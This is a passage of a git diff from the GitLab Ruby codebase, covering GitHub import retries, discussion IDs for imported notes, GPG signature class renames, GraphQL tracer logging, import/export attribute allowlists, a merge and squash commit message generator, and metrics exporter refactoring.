+ CLIENT_CONNECTION_ERROR = ::Faraday::ConnectionFailed # used/set in sawyer agent which octokit uses
# A single page of data and the corresponding page number.
Page = Struct.new(:objects, :number)
@@ -148,14 +149,14 @@ module Gitlab
# whether we are running in parallel mode or not. For more information see
# `#rate_or_wait_for_rate_limit`.
def with_rate_limit
- return yield unless rate_limiting_enabled?
+ return with_retry { yield } unless rate_limiting_enabled?
request_count_counter.increment
raise_or_wait_for_rate_limit unless requests_remaining?
begin
- yield
+ with_retry { yield }
rescue ::Octokit::TooManyRequests
raise_or_wait_for_rate_limit
@@ -166,7 +167,7 @@ module Gitlab
end
def search_repos_by_name(name, options = {})
- octokit.search_repositories(search_query(str: name, type: :name), options)
+ with_retry { octokit.search_repositories(search_query(str: name, type: :name), options) }
end
def search_query(str:, type:, include_collaborations: true, include_orgs: true)
@@ -270,6 +271,25 @@ module Gitlab
.map { |org| "org:#{org.login}" }
.join(' ')
end
+
+ def with_retry
+ Retriable.retriable(on: CLIENT_CONNECTION_ERROR, on_retry: on_retry) do
+ yield
+ end
+ end
+
+ def on_retry
+ proc do |exception, try, elapsed_time, next_interval|
+ Gitlab::Import::Logger.info(
+ message: "GitHub connection retry triggered",
+ 'error.class': exception.class,
+ 'error.message': exception.message,
+ try_count: try,
+ elapsed_time_s: elapsed_time,
+ wait_to_retry_s: next_interval
+ )
+ end
+ end
end
end
end
diff --git a/lib/gitlab/github_import/importer/diff_note_importer.rb b/lib/gitlab/github_import/importer/diff_note_importer.rb
index 0aa0896aa57..8a8d23401c1 100644
--- a/lib/gitlab/github_import/importer/diff_note_importer.rb
+++ b/lib/gitlab/github_import/importer/diff_note_importer.rb
@@ -31,6 +31,10 @@ module Gitlab
else
import_with_legacy_diff_note
end
+ rescue ::DiffNote::NoteDiffFileCreationError => e
+ Logger.warn(message: e.message, 'error.class': e.class.name)
+
+ import_with_legacy_diff_note
rescue ActiveRecord::InvalidForeignKey => e
# It's possible the project and the issue have been deleted since
# scheduling this job. In this case we'll just skip creating the note
diff --git a/lib/gitlab/github_import/importer/note_importer.rb b/lib/gitlab/github_import/importer/note_importer.rb
index 2cc3a82dd9b..673f56b5753 100644
--- a/lib/gitlab/github_import/importer/note_importer.rb
+++ b/lib/gitlab/github_import/importer/note_importer.rb
@@ -29,6 +29,7 @@ module Gitlab
project_id: project.id,
author_id: author_id,
note: note_body,
+ discussion_id: note.discussion_id,
system: false,
created_at: note.created_at,
updated_at: note.updated_at
diff --git a/lib/gitlab/github_import/parallel_importer.rb b/lib/gitlab/github_import/parallel_importer.rb
index f72e595e8e9..a71590c02f8 100644
--- a/lib/gitlab/github_import/parallel_importer.rb
+++ b/lib/gitlab/github_import/parallel_importer.rb
@@ -35,7 +35,9 @@ module Gitlab
def execute
Gitlab::Import::SetAsyncJid.set_jid(project.import_state)
+ # We need to track this job's status for use by Gitlab::GithubImport::RefreshImportJidWorker.
Stage::ImportRepositoryWorker
+ .with_status
.perform_async(project.id)
true
diff --git a/lib/gitlab/github_import/representation/diff_note.rb b/lib/gitlab/github_import/representation/diff_note.rb
index fecff0644c2..04f53accfeb 100644
--- a/lib/gitlab/github_import/representation/diff_note.rb
+++ b/lib/gitlab/github_import/representation/diff_note.rb
@@ -4,6 +4,7 @@ module Gitlab
module GithubImport
module Representation
class DiffNote
+ include Gitlab::Utils::StrongMemoize
include ToHash
include ExposeAttribute
@@ -127,15 +128,17 @@ module Gitlab
end
def discussion_id
- if in_reply_to_id.present?
- current_discussion_id
- else
- Discussion.discussion_id(
- Struct
- .new(:noteable_id, :noteable_type)
- .new(merge_request.id, NOTEABLE_TYPE)
- ).tap do |discussion_id|
- cache_discussion_id(discussion_id)
+ strong_memoize(:discussion_id) do
+ if in_reply_to_id.present?
+ current_discussion_id
+ else
+ Discussion.discussion_id(
+ Struct
+ .new(:noteable_id, :noteable_type)
+ .new(merge_request.id, NOTEABLE_TYPE)
+ ).tap do |discussion_id|
+ cache_discussion_id(discussion_id)
+ end
end
end
end
diff --git a/lib/gitlab/github_import/representation/note.rb b/lib/gitlab/github_import/representation/note.rb
index bcdb1a5459b..bbf20b7e9e6 100644
--- a/lib/gitlab/github_import/representation/note.rb
+++ b/lib/gitlab/github_import/representation/note.rb
@@ -63,6 +63,14 @@ module Gitlab
@attributes = attributes
end
+ def discussion_id
+ Discussion.discussion_id(
+ Struct
+ .new(:noteable_id, :noteable_type)
+ .new(noteable_id, noteable_type)
+ )
+ end
+
alias_method :issuable_type, :noteable_type
def github_identifiers
diff --git a/lib/gitlab/gon_helper.rb b/lib/gitlab/gon_helper.rb
index 9ad902efb3a..bb3ba1129fc 100644
--- a/lib/gitlab/gon_helper.rb
+++ b/lib/gitlab/gon_helper.rb
@@ -56,7 +56,6 @@ module Gitlab
push_frontend_feature_flag(:security_auto_fix, default_enabled: false)
push_frontend_feature_flag(:improved_emoji_picker, default_enabled: :yaml)
push_frontend_feature_flag(:new_header_search, default_enabled: :yaml)
- push_frontend_feature_flag(:configure_iac_scanning_via_mr, current_user, default_enabled: :yaml)
push_frontend_feature_flag(:bootstrap_confirmation_modals, default_enabled: :yaml)
end
diff --git a/lib/gitlab/gpg.rb b/lib/gitlab/gpg.rb
index 3d9b06855ff..f55afd90ac0 100644
--- a/lib/gitlab/gpg.rb
+++ b/lib/gitlab/gpg.rb
@@ -48,7 +48,7 @@ module Gitlab
raw_keys.each_with_object({}) do |raw_key, grouped_subkeys|
primary_subkey_id = raw_key.primary_subkey.keyid
- grouped_subkeys[primary_subkey_id] = raw_key.subkeys[1..-1].map do |s|
+ grouped_subkeys[primary_subkey_id] = raw_key.subkeys[1..].map do |s|
{ keyid: s.keyid, fingerprint: s.fingerprint }
end
end
diff --git a/lib/gitlab/gpg/commit.rb b/lib/gitlab/gpg/commit.rb
index 9a6317e2b76..59882e8d4f8 100644
--- a/lib/gitlab/gpg/commit.rb
+++ b/lib/gitlab/gpg/commit.rb
@@ -25,7 +25,7 @@ module Gitlab
def lazy_signature
BatchLoader.for(@commit.sha).batch do |shas, loader|
- GpgSignature.by_commit_sha(shas).each do |signature|
+ CommitSignatures::GpgSignature.by_commit_sha(shas).each do |signature|
loader.call(signature.commit_sha, signature)
end
end
@@ -62,9 +62,9 @@ module Gitlab
def create_cached_signature!
using_keychain do |gpg_key|
attributes = attributes(gpg_key)
- break GpgSignature.new(attributes) if Gitlab::Database.read_only?
+ break CommitSignatures::GpgSignature.new(attributes) if Gitlab::Database.read_only?
- GpgSignature.safe_create!(attributes)
+ CommitSignatures::GpgSignature.safe_create!(attributes)
end
end
diff --git a/lib/gitlab/gpg/invalid_gpg_signature_updater.rb b/lib/gitlab/gpg/invalid_gpg_signature_updater.rb
index d892d27a917..0eb105143ea 100644
--- a/lib/gitlab/gpg/invalid_gpg_signature_updater.rb
+++ b/lib/gitlab/gpg/invalid_gpg_signature_updater.rb
@@ -9,9 +9,9 @@ module Gitlab
# rubocop: disable CodeReuse/ActiveRecord
def run
- GpgSignature
+ CommitSignatures::GpgSignature
.select(:id, :commit_sha, :project_id)
- .where('gpg_key_id IS NULL OR verification_status <> ?', GpgSignature.verification_statuses[:verified])
+ .where('gpg_key_id IS NULL OR verification_status <> ?', CommitSignatures::GpgSignature.verification_statuses[:verified])
.where(gpg_key_primary_keyid: @gpg_key.keyids)
.find_each { |sig| sig.gpg_commit&.update_signature!(sig) }
end
diff --git a/lib/gitlab/graphql/tracers/logger_tracer.rb b/lib/gitlab/graphql/tracers/logger_tracer.rb
index c7ba56824db..3302b2bae3f 100644
--- a/lib/gitlab/graphql/tracers/logger_tracer.rb
+++ b/lib/gitlab/graphql/tracers/logger_tracer.rb
@@ -11,19 +11,20 @@ module Gitlab
end
def trace(key, data)
- result = yield
-
+ yield
+ rescue StandardError => e
+ data[:exception] = e
+ raise e
+ ensure
case key
when "execute_query"
log_execute_query(**data)
end
-
- result
end
private
- def log_execute_query(query: nil, duration_s: 0)
+ def log_execute_query(query: nil, duration_s: 0, exception: nil)
# execute_query should always have :query, but we're just being defensive
return unless query
@@ -39,6 +40,8 @@ module Gitlab
query_string: query.query_string
}
+ Gitlab::ExceptionLogFormatter.format!(exception, info)
+
info.merge!(::Gitlab::ApplicationContext.current)
info.merge!(analysis_info) if analysis_info
diff --git a/lib/gitlab/graphql/tracers/timer_tracer.rb b/lib/gitlab/graphql/tracers/timer_tracer.rb
index 326620a22bc..8e058621110 100644
--- a/lib/gitlab/graphql/tracers/timer_tracer.rb
+++ b/lib/gitlab/graphql/tracers/timer_tracer.rb
@@ -17,13 +17,9 @@ module Gitlab
def trace(key, data)
start_time = Gitlab::Metrics::System.monotonic_time
- result = yield
-
- duration_s = Gitlab::Metrics::System.monotonic_time - start_time
-
- data[:duration_s] = duration_s
-
- result
+ yield
+ ensure
+ data[:duration_s] = Gitlab::Metrics::System.monotonic_time - start_time
end
end
end
diff --git a/lib/gitlab/hook_data/merge_request_builder.rb b/lib/gitlab/hook_data/merge_request_builder.rb
index db807a3c557..0e787a77a25 100644
--- a/lib/gitlab/hook_data/merge_request_builder.rb
+++ b/lib/gitlab/hook_data/merge_request_builder.rb
@@ -7,6 +7,7 @@ module Gitlab
%i[
assignee_id
author_id
+ blocking_discussions_resolved
created_at
description
head_pipeline_id
@@ -57,7 +58,8 @@ module Gitlab
human_time_estimate: merge_request.human_time_estimate,
assignee_ids: merge_request.assignee_ids,
assignee_id: merge_request.assignee_ids.first, # This key is deprecated
- state: merge_request.state # This key is deprecated
+ state: merge_request.state, # This key is deprecated
+ blocking_discussions_resolved: merge_request.mergeable_discussions_state?
}
merge_request.attributes.with_indifferent_access.slice(*self.class.safe_hook_attributes)
diff --git a/lib/gitlab/i18n.rb b/lib/gitlab/i18n.rb
index 251bc34d462..12203cab8c8 100644
--- a/lib/gitlab/i18n.rb
+++ b/lib/gitlab/i18n.rb
@@ -43,27 +43,27 @@ module Gitlab
TRANSLATION_LEVELS = {
'bg' => 0,
'cs_CZ' => 0,
- 'da_DK' => 52,
+ 'da_DK' => 51,
'de' => 15,
'en' => 100,
'eo' => 0,
- 'es' => 40,
+ 'es' => 39,
'fil_PH' => 0,
- 'fr' => 11,
+ 'fr' => 12,
'gl_ES' => 0,
'id_ID' => 0,
'it' => 2,
- 'ja' => 36,
+ 'ja' => 35,
'ko' => 11,
- 'nb_NO' => 34,
+ 'nb_NO' => 33,
'nl_NL' => 0,
'pl_PL' => 5,
'pt_BR' => 49,
- 'ro_RO' => 24,
- 'ru' => 26,
+ 'ro_RO' => 23,
+ 'ru' => 25,
'tr_TR' => 15,
- 'uk' => 39,
- 'zh_CN' => 97,
+ 'uk' => 45,
+ 'zh_CN' => 95,
'zh_HK' => 2,
'zh_TW' => 3
}.freeze
diff --git a/lib/gitlab/import/import_failure_service.rb b/lib/gitlab/import/import_failure_service.rb
index 142c00f7a6b..bebd64b29a9 100644
--- a/lib/gitlab/import/import_failure_service.rb
+++ b/lib/gitlab/import/import_failure_service.rb
@@ -15,11 +15,21 @@ module Gitlab
exception: exception,
import_state: import_state,
project_id: project_id,
- error_source: error_source
- ).execute(fail_import: fail_import, metrics: metrics)
+ error_source: error_source,
+ fail_import: fail_import,
+ metrics: metrics
+ ).execute
end
- def initialize(exception:, import_state: nil, project_id: nil, error_source: nil)
+ def initialize(
+ exception:,
+ import_state: nil,
+ project_id: nil,
+ error_source: nil,
+ fail_import: false,
+ metrics: false
+ )
+
if import_state.blank? && project_id.blank?
raise ArgumentError, 'import_state OR project_id must be provided'
end
@@ -34,9 +44,11 @@ module Gitlab
@exception = exception
@error_source = error_source
+ @fail_import = fail_import
+ @metrics = metrics
end
- def execute(fail_import:, metrics:)
+ def execute
track_exception
persist_failure
@@ -46,7 +58,7 @@ module Gitlab
private
- attr_reader :exception, :import_state, :project, :error_source
+ attr_reader :exception, :import_state, :project, :error_source, :fail_import, :metrics
def track_exception
attributes = {
@@ -65,12 +77,15 @@ module Gitlab
Gitlab::ErrorTracking.track_exception(exception, attributes)
end
+ # Failures with `retry_count: 0` are considered "hard_failures" and those
+ # are exposed on the REST API projects/:id/import
def persist_failure
project.import_failures.create(
source: error_source,
exception_class: exception.class.to_s,
exception_message: exception.message.truncate(255),
- correlation_id_value: Labkit::Correlation::CorrelationId.current_or_new_id
+ correlation_id_value: Labkit::Correlation::CorrelationId.current_or_new_id,
+ retry_count: fail_import ? 0 : nil
)
end
diff --git a/lib/gitlab/import/set_async_jid.rb b/lib/gitlab/import/set_async_jid.rb
index 527d84477fe..054fcdb433f 100644
--- a/lib/gitlab/import/set_async_jid.rb
+++ b/lib/gitlab/import/set_async_jid.rb
@@ -13,7 +13,7 @@ module Gitlab
def self.set_jid(import_state)
jid = generate_jid(import_state)
- Gitlab::SidekiqStatus.set(jid, Gitlab::Import::StuckImportJob::IMPORT_JOBS_EXPIRATION)
+ Gitlab::SidekiqStatus.set(jid, Gitlab::Import::StuckImportJob::IMPORT_JOBS_EXPIRATION, value: 2)
import_state.update_column(:jid, jid)
end
diff --git a/lib/gitlab/import_export/group/relation_tree_restorer.rb b/lib/gitlab/import_export/group/relation_tree_restorer.rb
index f3c392b8c20..cbc8ee9e18b 100644
--- a/lib/gitlab/import_export/group/relation_tree_restorer.rb
+++ b/lib/gitlab/import_export/group/relation_tree_restorer.rb
@@ -106,12 +106,7 @@ module Gitlab
def update_params!
params = @importable_attributes.except(*relations.keys.map(&:to_s))
params = params.merge(present_override_params)
-
- # Cleaning all imported and overridden params
- params = Gitlab::ImportExport::AttributeCleaner.clean(
- relation_hash: params,
- relation_class: importable_class,
- excluded_keys: excluded_keys_for_relation(importable_class_sym))
+ params = filter_attributes(params)
@importable.assign_attributes(params)
@@ -122,6 +117,25 @@ module Gitlab
end
end
+ def filter_attributes(params)
+ if use_attributes_permitter? && attributes_permitter.permitted_attributes_defined?(importable_class_sym)
+ attributes_permitter.permit(importable_class_sym, params)
+ else
+ Gitlab::ImportExport::AttributeCleaner.clean(
+ relation_hash: params,
+ relation_class: importable_class,
+ excluded_keys: excluded_keys_for_relation(importable_class_sym))
+ end
+ end
+
+ def attributes_permitter
+ @attributes_permitter ||= Gitlab::ImportExport::AttributesPermitter.new
+ end
+
+ def use_attributes_permitter?
+ Feature.enabled?(:permitted_attributes_for_import_export, default_enabled: :yaml)
+ end
+
def present_override_params
# we filter out the empty strings from the overrides
# keeping the default values configured
diff --git a/lib/gitlab/import_export/json/streaming_serializer.rb b/lib/gitlab/import_export/json/streaming_serializer.rb
index 9ab8fa68d0e..fb8d6e7d89b 100644
--- a/lib/gitlab/import_export/json/streaming_serializer.rb
+++ b/lib/gitlab/import_export/json/streaming_serializer.rb
@@ -40,6 +40,13 @@ module Gitlab
end
end
+ def serialize_root(exportable_path = @exportable_path)
+ attributes = exportable.as_json(
+ relations_schema.merge(include: nil, preloads: nil))
+
+ json_writer.write_attributes(exportable_path, attributes)
+ end
+
def serialize_relation(definition)
raise ArgumentError, 'definition needs to be Hash' unless definition.is_a?(Hash)
raise ArgumentError, 'definition needs to have exactly one Hash element' unless definition.one?
@@ -60,12 +67,6 @@ module Gitlab
attr_reader :json_writer, :relations_schema, :exportable
- def serialize_root
- attributes = exportable.as_json(
- relations_schema.merge(include: nil, preloads: nil))
- json_writer.write_attributes(@exportable_path, attributes)
- end
-
def serialize_many_relations(key, records, options)
enumerator = Enumerator.new do |items|
key_preloads = preloads&.dig(key)
diff --git a/lib/gitlab/import_export/project/import_export.yml b/lib/gitlab/import_export/project/import_export.yml
index d815dd284ba..ef146359da9 100644
--- a/lib/gitlab/import_export/project/import_export.yml
+++ b/lib/gitlab/import_export/project/import_export.yml
@@ -126,7 +126,6 @@ included_attributes:
- :project_id
project_badges:
- :created_at
- - :group_id
- :image_url
- :link_url
- :name
@@ -414,7 +413,6 @@ included_attributes:
- :b_mode
- :too_large
- :binary
- - :diff
metrics:
- :created_at
- :updated_at
@@ -572,7 +570,6 @@ included_attributes:
- :updated_at
actions:
- :event
- - :image_v432x230
design: &design_definition
- :iid
- :project_id
@@ -632,6 +629,74 @@ included_attributes:
- :expires_at
- :ldap
- :override
+ project:
+ - :approvals_before_merge
+ - :archived
+ - :auto_cancel_pending_pipelines
+ - :autoclose_referenced_issues
+ - :build_allow_git_fetch
+ - :build_coverage_regex
+ - :build_timeout
+ - :ci_config_path
+ - :delete_error
+ - :description
+ - :disable_overriding_approvers_per_merge_request
+ - :external_authorization_classification_label
+ - :has_external_issue_tracker
+ - :has_external_wiki
+ - :issues_template
+ - :jobs_cache_index
+ - :last_repository_check_failed
+ - :merge_requests_author_approval
+ - :merge_requests_disable_committers_approval
+ - :merge_requests_ff_only_enabled
+ - :merge_requests_rebase_enabled
+ - :merge_requests_template
+ - :only_allow_merge_if_all_discussions_are_resolved
+ - :only_allow_merge_if_pipeline_succeeds
+ - :pages_https_only
+ - :pending_delete
+ - :printing_merge_request_link_enabled
+ - :public_builds
+ - :remove_source_branch_after_merge
+ - :request_access_enabled
+ - :require_password_to_approve
+ - :reset_approvals_on_push
+ - :resolve_outdated_diff_discussions
+ - :service_desk_enabled
+ - :shared_runners_enabled
+ - :suggestion_commit_message
+ - :visibility_level
+ - :hooks
+ - :issues_access_level
+ - :forking_access_level
+ - :merge_requests_access_level
+ - :wiki_access_level
+ - :snippets_access_level
+ - :builds_access_level
+ - :repository_access_level
+ - :pages_access_level
+ - :metrics_dashboard_access_level
+ - :analytics_access_level
+ - :operations_access_level
+ - :security_and_compliance_access_level
+ - :container_registry_access_level
+ - :allow_merge_on_skipped_pipeline
+ - :auto_devops_deploy_strategy
+ - :auto_devops_enabled
+ - :container_registry_enabled
+ - :issues_enabled
+ - :jobs_enabled
+ - :merge_method
+ - :merge_requests_enabled
+ - :snippets_enabled
+ - :squash_option
+ - :topics
+ - :visibility
+ - :wiki_enabled
+ - :build_git_strategy
+ - :build_enabled
+ - :security_and_compliance_enabled
# Do not include the following attributes for the models specified.
excluded_attributes:
@@ -747,6 +812,7 @@ excluded_attributes:
- :service_desk_reply_to
- :upvotes_count
- :work_item_type_id
+ - :email_message_id
merge_request: &merge_request_excluded_definition
- :milestone_id
- :sprint_id
@@ -889,8 +955,6 @@ excluded_attributes:
system_note_metadata:
- :description_version_id
- :note_id
- pipeline_schedules:
- - :active
methods:
notes:
- :type
@@ -1021,3 +1085,6 @@ ee:
- :auto_fix_dast
- :auto_fix_dependency_scanning
- :auto_fix_sast
+ project:
+ - :requirements_enabled
+ - :requirements_access_level
diff --git a/lib/gitlab/import_export/project/relation_factory.rb b/lib/gitlab/import_export/project/relation_factory.rb
index d84db92fe69..c391f86b47b 100644
--- a/lib/gitlab/import_export/project/relation_factory.rb
+++ b/lib/gitlab/import_export/project/relation_factory.rb
@@ -131,7 +131,9 @@ module Gitlab
end
def setup_diff
- @relation_hash['diff'] = @relation_hash.delete('utf8_diff')
+ diff = @relation_hash.delete('utf8_diff')
+
+ parsed_relation_hash['diff'] = diff
end
def setup_pipeline
diff --git a/lib/gitlab/lograge/custom_options.rb b/lib/gitlab/lograge/custom_options.rb
index e6c9ba0773c..84ead5119d5 100644
--- a/lib/gitlab/lograge/custom_options.rb
+++ b/lib/gitlab/lograge/custom_options.rb
@@ -32,6 +32,10 @@ module Gitlab
::Gitlab::ExceptionLogFormatter.format!(exception, payload)
+ if Feature.enabled?(:feature_flag_state_logs, type: :ops)
+ payload[:feature_flag_states] = Feature.logged_states.map { |key, state| "#{key}:#{state ? 1 : 0}" }
+ end
+
payload
end
end
diff --git a/lib/gitlab/merge_requests/commit_message_generator.rb b/lib/gitlab/merge_requests/commit_message_generator.rb
new file mode 100644
index 00000000000..0e9ec6f5cb3
--- /dev/null
+++ b/lib/gitlab/merge_requests/commit_message_generator.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+module Gitlab
+ module MergeRequests
+ class CommitMessageGenerator
+ def initialize(merge_request:)
+ @merge_request = merge_request
+ end
+
+ def merge_message
+ return unless @merge_request.target_project.merge_commit_template.present?
+
+ replace_placeholders(@merge_request.target_project.merge_commit_template)
+ end
+
+ def squash_message
+ return unless @merge_request.target_project.squash_commit_template.present?
+
+ replace_placeholders(@merge_request.target_project.squash_commit_template)
+ end
+
+ private
+
+ attr_reader :merge_request
+
+ PLACEHOLDERS = {
+ 'source_branch' => ->(merge_request) { merge_request.source_branch.to_s },
+ 'target_branch' => ->(merge_request) { merge_request.target_branch.to_s },
+ 'title' => ->(merge_request) { merge_request.title },
+ 'issues' => ->(merge_request) do
+ return "" if merge_request.visible_closing_issues_for.blank?
+
+ closes_issues_references = merge_request.visible_closing_issues_for.map do |issue|
+ issue.to_reference(merge_request.target_project)
+ end
+ "Closes #{closes_issues_references.to_sentence}"
+ end,
+ 'description' => ->(merge_request) { merge_request.description.presence || '' },
+ 'reference' => ->(merge_request) { merge_request.to_reference(full: true) },
+ 'first_commit' => -> (merge_request) { merge_request.first_commit&.safe_message&.strip.presence || '' },
+ 'first_multiline_commit' => -> (merge_request) { merge_request.first_multiline_commit&.safe_message&.strip.presence || merge_request.title }
+ }.freeze
+
+ PLACEHOLDERS_REGEX = Regexp.union(PLACEHOLDERS.keys.map do |key|
+ Regexp.new(Regexp.escape(key))
+ end).freeze
+
+ BLANK_PLACEHOLDERS_REGEXES = (PLACEHOLDERS.map do |key, value|
+ [key, Regexp.new("[\n\r]+%{#{Regexp.escape(key)}}$")]
+ end).to_h.freeze
+
+ def replace_placeholders(message)
+ # convert CRLF to LF
+ message = message.delete("\r")
+
+ # Remove placeholders that correspond to empty values and are the last word in the line
+ # along with all whitespace characters preceding them.
+ # This allows us to recreate previous default merge commit message behaviour - we skipped new line character
+ # before empty description and before closed issues when none were present.
+ PLACEHOLDERS.each do |key, value|
+ unless value.call(merge_request).present?
+ message = message.gsub(BLANK_PLACEHOLDERS_REGEXES[key], '')
+ end
+ end
+
+ Gitlab::StringPlaceholderReplacer
+ .replace_string_placeholders(message, PLACEHOLDERS_REGEX) do |key|
+ PLACEHOLDERS[key].call(merge_request)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/merge_requests/merge_commit_message.rb b/lib/gitlab/merge_requests/merge_commit_message.rb
deleted file mode 100644
index 2a6a7859b33..00000000000
--- a/lib/gitlab/merge_requests/merge_commit_message.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# frozen_string_literal: true
-module Gitlab
- module MergeRequests
- class MergeCommitMessage
- def initialize(merge_request:)
- @merge_request = merge_request
- end
-
- def message
- return unless @merge_request.target_project.merge_commit_template.present?
-
- message = @merge_request.target_project.merge_commit_template
- message = message.delete("\r")
-
- # Remove placeholders that correspond to empty values and are the last word in the line
- # along with all whitespace characters preceding them.
- # This allows us to recreate previous default merge commit message behaviour - we skipped new line character
- # before empty description and before closed issues when none were present.
- PLACEHOLDERS.each do |key, value|
- unless value.call(merge_request).present?
- message = message.gsub(BLANK_PLACEHOLDERS_REGEXES[key], '')
- end
- end
-
- Gitlab::StringPlaceholderReplacer
- .replace_string_placeholders(message, PLACEHOLDERS_REGEX) do |key|
- PLACEHOLDERS[key].call(merge_request)
- end
- end
-
- private
-
- attr_reader :merge_request
-
- PLACEHOLDERS = {
- 'source_branch' => ->(merge_request) { merge_request.source_branch.to_s },
- 'target_branch' => ->(merge_request) { merge_request.target_branch.to_s },
- 'title' => ->(merge_request) { merge_request.title },
- 'issues' => ->(merge_request) do
- return "" if merge_request.visible_closing_issues_for.blank?
-
- closes_issues_references = merge_request.visible_closing_issues_for.map do |issue|
- issue.to_reference(merge_request.target_project)
- end
- "Closes #{closes_issues_references.to_sentence}"
- end,
- 'description' => ->(merge_request) { merge_request.description.presence || '' },
- 'reference' => ->(merge_request) { merge_request.to_reference(full: true) }
- }.freeze
-
- PLACEHOLDERS_REGEX = Regexp.union(PLACEHOLDERS.keys.map do |key|
- Regexp.new(Regexp.escape(key))
- end).freeze
-
- BLANK_PLACEHOLDERS_REGEXES = (PLACEHOLDERS.map do |key, value|
- [key, Regexp.new("[\n\r]+%{#{Regexp.escape(key)}}$")]
- end).to_h.freeze
- end
- end
-end
diff --git a/lib/gitlab/merge_requests/mergeability/redis_interface.rb b/lib/gitlab/merge_requests/mergeability/redis_interface.rb
index 081ccfca360..b0e739f91ff 100644
--- a/lib/gitlab/merge_requests/mergeability/redis_interface.rb
+++ b/lib/gitlab/merge_requests/mergeability/redis_interface.rb
@@ -7,13 +7,13 @@ module Gitlab
VERSION = 1
def save_check(merge_check:, result_hash:)
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Cache.with do |redis|
redis.set(merge_check.cache_key + ":#{VERSION}", result_hash.to_json, ex: EXPIRATION)
end
end
def retrieve_check(merge_check:)
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Cache.with do |redis|
Gitlab::Json.parse(redis.get(merge_check.cache_key + ":#{VERSION}"))
end
end
diff --git a/lib/gitlab/metrics/exporter/base_exporter.rb b/lib/gitlab/metrics/exporter/base_exporter.rb
index ff8b8bf2237..47c862c0232 100644
--- a/lib/gitlab/metrics/exporter/base_exporter.rb
+++ b/lib/gitlab/metrics/exporter/base_exporter.rb
@@ -11,12 +11,14 @@ module Gitlab
attr_accessor :readiness_checks
- def enabled?
- settings.enabled
+ def initialize(settings, **options)
+ super(**options)
+
+ @settings = settings
end
- def settings
- raise NotImplementedError
+ def enabled?
+ settings.enabled
end
def log_filename
@@ -25,6 +27,8 @@ module Gitlab
private
+ attr_reader :settings
+
def start_working
logger = WEBrick::Log.new(log_filename)
logger.time_format = "[%Y-%m-%dT%H:%M:%S.%L%z]"
diff --git a/lib/gitlab/metrics/exporter/sidekiq_exporter.rb b/lib/gitlab/metrics/exporter/sidekiq_exporter.rb
index 4d38d9e67bf..eea71fda6a0 100644
--- a/lib/gitlab/metrics/exporter/sidekiq_exporter.rb
+++ b/lib/gitlab/metrics/exporter/sidekiq_exporter.rb
@@ -4,10 +4,6 @@ module Gitlab
module Metrics
module Exporter
class SidekiqExporter < BaseExporter
- def settings
- Settings.monitoring.sidekiq_exporter
- end
-
def log_filename
if settings['log_enabled']
File.join(Rails.root, 'log', 'sidekiq_exporter.log')
@@ -15,29 +11,6 @@ module Gitlab
File::NULL
end
end
-
- private
-
- # Sidekiq Exporter does not work properly in sidekiq-cluster
- # mode. It tries to start the service on the same port for
- # each of the cluster workers, this results in failure
- # due to duplicate binding.
- #
- # For now we ignore this error, as metrics are still "kind of"
- # valid as they are rendered from shared directory.
- #
- # Issue: https://gitlab.com/gitlab-org/gitlab/issues/5714
- def start_working
- super
- rescue Errno::EADDRINUSE => e
- Sidekiq.logger.error(
- class: self.class.to_s,
- message: 'Cannot start sidekiq_exporter',
- 'exception.message' => e.message
- )
-
- false
- end
end
end
end
diff --git a/lib/gitlab/metrics/exporter/web_exporter.rb b/lib/gitlab/metrics/exporter/web_exporter.rb
index c5fa1e545d7..d41484aaaa7 100644
--- a/lib/gitlab/metrics/exporter/web_exporter.rb
+++ b/lib/gitlab/metrics/exporter/web_exporter.rb
@@ -27,7 +27,7 @@ module Gitlab
# This exporter is always run on master process
def initialize
- super
+ super(Settings.monitoring.web_exporter)
# DEPRECATED:
# these `readiness_checks` are deprecated
@@ -39,10 +39,6 @@ module Gitlab
]
end
- def settings
- Gitlab.config.monitoring.web_exporter
- end
-
def log_filename
File.join(Rails.root, 'log', 'web_exporter.log')
end
diff --git a/lib/gitlab/metrics/samplers/database_sampler.rb b/lib/gitlab/metrics/samplers/database_sampler.rb
index 5d7f434b660..965d85e20e5 100644
--- a/lib/gitlab/metrics/samplers/database_sampler.rb
+++ b/lib/gitlab/metrics/samplers/database_sampler.rb
@@ -38,16 +38,42 @@ module Gitlab
end
def host_stats
- return [] unless ActiveRecord::Base.connected?
+ connection_class_stats + replica_host_stats
+ end
+
+ def connection_class_stats
+ Gitlab::Database.database_base_models.each_value.with_object([]) do |base_model, stats|
+ next unless base_model.connected?
+
+ stats << { labels: labels_for_class(base_model), stats: base_model.connection_pool.stat }
+ end
+ end
+
+ def replica_host_stats
+ Gitlab::Database::LoadBalancing.each_load_balancer.with_object([]) do |load_balancer, stats|
+ next if load_balancer.primary_only?
- [{ labels: labels_for_class(ActiveRecord::Base), stats: ActiveRecord::Base.connection_pool.stat }]
+ load_balancer.host_list.hosts.each do |host|
+ stats << { labels: labels_for_replica_host(load_balancer, host), stats: host.connection.pool.stat }
+ end
+ end
end
def labels_for_class(klass)
{
host: klass.connection_db_config.host,
port: klass.connection_db_config.configuration_hash[:port],
- class: klass.to_s
+ class: klass.to_s,
+ db_config_name: klass.connection_db_config.name
+ }
+ end
+
+ def labels_for_replica_host(load_balancer, host)
+ {
+ host: host.host,
+ port: host.port,
+ class: load_balancer.configuration.primary_connection_specification_name,
+ db_config_name: Gitlab::Database.db_config_name(host.connection)
}
end
end
diff --git a/lib/gitlab/metrics/subscribers/active_record.rb b/lib/gitlab/metrics/subscribers/active_record.rb
index df0582149a9..715dd86d93c 100644
--- a/lib/gitlab/metrics/subscribers/active_record.rb
+++ b/lib/gitlab/metrics/subscribers/active_record.rb
@@ -5,6 +5,8 @@ module Gitlab
module Subscribers
# Class for tracking the total query duration of a transaction.
class ActiveRecord < ActiveSupport::Subscriber
+ extend Gitlab::Utils::StrongMemoize
+
attach_to :active_record
IGNORABLE_SQL = %w{BEGIN COMMIT}.freeze
@@ -107,7 +109,7 @@ module Gitlab
# Per database metrics
db_config_name = db_config_name(event.payload)
- duration_key = compose_metric_key(:duration_s, db_role, db_config_name)
+ duration_key = compose_metric_key(:duration_s, nil, db_config_name)
::Gitlab::SafeRequestStore[duration_key] = (::Gitlab::SafeRequestStore[duration_key].presence || 0) + duration
end
@@ -144,7 +146,7 @@ module Gitlab
# when we are also logging the db_role. Otherwise it will be hard to
